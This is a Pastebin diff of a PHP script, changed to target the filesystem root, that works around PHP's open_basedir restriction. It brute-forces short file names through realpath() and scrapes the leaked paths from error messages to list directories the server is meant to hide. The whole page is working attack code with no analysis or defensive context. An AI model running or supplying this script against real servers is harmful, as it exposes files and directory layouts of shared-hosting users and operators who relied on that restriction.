View difference between Paste ID: 4LTrARUj and XwNeUARV
SHOW: | | - or go back to the newest paste.
1
<?php 
2
3
    $windows = false;
4
    $alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789-_.'; 
5
    $alphabet_len = strlen($alphabet); 
6
    $maxlength = 4; 
7-
    $path = '/mnt/home//'; 
7+
    $path = '/'; 
8
     
9
    $regexp = "/File\((.*)\) is not within/";  
10
    $files = array(); 
11
    $s = array(); 
12
     
13
    error_reporting(0); 
14
    set_error_handler("eh");  
15
    function eh($errno, $errstr, $errfile, $errline) {  
16
        global $regexp,$files,$windows;  
17
        preg_match($regexp,$errstr,$o);  
18
        if(isset($o[1]) && (($windows) ? (strpos($o[1],'&lt;&lt;')===false) : true)) { 
19
            if(!in_array($o[1],$files)) 
20
                $files[]=$o[1];  
21
        } 
22
    } 
23
     
24
    echo '<pre>open_basedir: '; 
25
    if(ini_get('open_basedir')) 
26
        echo "<font color=\"red\">".ini_get('open_basedir')."</font>\n"; 
27
    else 
28
        echo "<font color=\"green\">false</font>\n"; 
29
    echo 'Directory listing of '.$path."\n"; 
30
    while(count($s = inc($s,0)) <= $maxlength) { 
31
        check($s); 
32
    } 
33
    sort($files); 
34
    foreach($files as $file)  
35
        echo $file."\n"; 
36
    echo "</pre>"; 
37
     
38
    function check($s) { 
39
        global $alphabet,$path,$windows; 
40
        $str = 'a'; 
41
        for($i = 0; $i < count($s); $i++) { 
42
            $str[$i] = $alphabet[$s[$i]]; 
43
        } 
44
        if($windows) 
45
            realpath($path.$str."<<"); 
46
        else 
47
            realpath($path.$str); 
48
    } 
49
     
50
    function inc($s,$i) { 
51
        global $alphabet_len; 
52
        if(!isset($s[$i])) { 
53
            $s[$i] = 0; 
54
            return $s; 
55
        } 
56
        if($s[$i] + 1 == $alphabet_len) { 
57
            $s[$i] = 0; 
58
            $s = inc($s,$i+1); 
59
        } else { 
60
            $s[$i]++; 
61
        } 
62
        return $s; 
63
    } 
64
?>